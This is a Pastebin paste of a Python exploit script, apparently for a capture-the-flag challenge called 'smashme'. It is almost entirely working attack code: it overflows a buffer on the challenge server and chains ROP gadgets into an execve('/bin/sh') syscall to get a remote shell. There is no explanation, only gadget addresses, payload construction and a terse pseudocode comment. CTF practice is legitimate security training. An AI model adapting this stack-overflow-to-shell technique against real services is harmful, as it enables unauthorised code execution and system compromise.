Advertisement
Guest User

Untitled

a guest
Apr 30th, 2017
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.48 KB | None | 0 0
  1. from m1z0r3 import *
  2.  
  3. HOST = "smashme_omgbabysfirst.quals.shallweplayaga.me"
  4. PORT = 57348
  5.  
  6. prefix = "Smash me outside, how bout dAAAAAAAAAAA"
  7. offset = 33
  8.  
  9. s,f = sock(HOST,PORT)
  10.  
  11. addr_pop_rdi = 0x004014d6 # pop rdi;
  12. addr_pop_rdx = 0x00441e46 # pop rdx;
  13. addr_pop_rsi = 0x004015f7 # pop rsi;
  14. addr_syscall = 0x00466815 # syscall;
  15. addr_xor_rax = 0x0042564f # xor rax rax;
  16. addr_mov_rdi_rdx = 0x434a43 # mov [rdi] rdx;
  17. addr_lea_rax_f = 0x43a43e # lea rax [rdx+0x0F];
  18. addr_add_rax_3 = 0x465ce0 # add rax 0x003;
  19. addr_add_rax_2 = 0x465cc7 # add rax 0x02;
  20.  
  21.  
  22. """
  23. # rax = 59
  24. xor rax rax;
  25. lea rax [rdx+0x0F]; # rax = 51
  26. add rax 0x3;
  27. add rax 0x3;
  28. add rax 0x2;
  29.  
  30. # rdx = 0
  31. pop rdx;
  32. 0
  33.  
  34. # rsi = {rdi,rdx}
  35. pop rdi;
  36. bss_addr + 0x200;
  37. pop rdx;
  38. bss_addr
  39. mov [rdi] rdx;
  40. pop rsi;
  41. bss_addr + 0x200;
  42.  
  43. # rdi = * "/bin/sh"
  44. pop rdi;
  45. bss_addr;
  46. pop rdx;
  47. "/bin/sh"
  48. mv [rdi] rdx;
  49.  
  50. syscall;
  51. """
  52.  
  53. bss_addr = 0x6cab60 + 0x100
  54.  
  55. buf = prefix
  56. buf += "A" * offset
  57. # rax = 59
  58. buf += p64(addr_xor_rax)
  59. buf += p64(addr_lea_rax_f)
  60. buf += p64(addr_add_rax_3)
  61. buf += p64(addr_add_rax_3)
  62. buf += p64(addr_add_rax_2)
  63. # rsi = {rdi,NULL}
  64. buf += p64(addr_pop_rdi)
  65. buf += p64(bss_addr+0x100)
  66. buf += p64(addr_pop_rdx)
  67. buf += p64(bss_addr)
  68. buf += p64(addr_mov_rdi_rdx)
  69. buf += p64(addr_pop_rsi)
  70. buf += p64(bss_addr+0x100)
  71. # rdi = /bin/sh
  72. buf += p64(addr_pop_rdi)
  73. buf += p64(bss_addr)
  74. buf += p64(addr_pop_rdx)
  75. buf += "/bin/sh\x00"
  76. buf += p64(addr_mov_rdi_rdx)
  77. # rdx = 0
  78. buf += p64(addr_pop_rdx)
  79. buf += p64(0)
  80. # syscall
  81. buf += p64(addr_syscall)
  82.  
  83. s.send(buf+"\n")
  84. shell(s)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement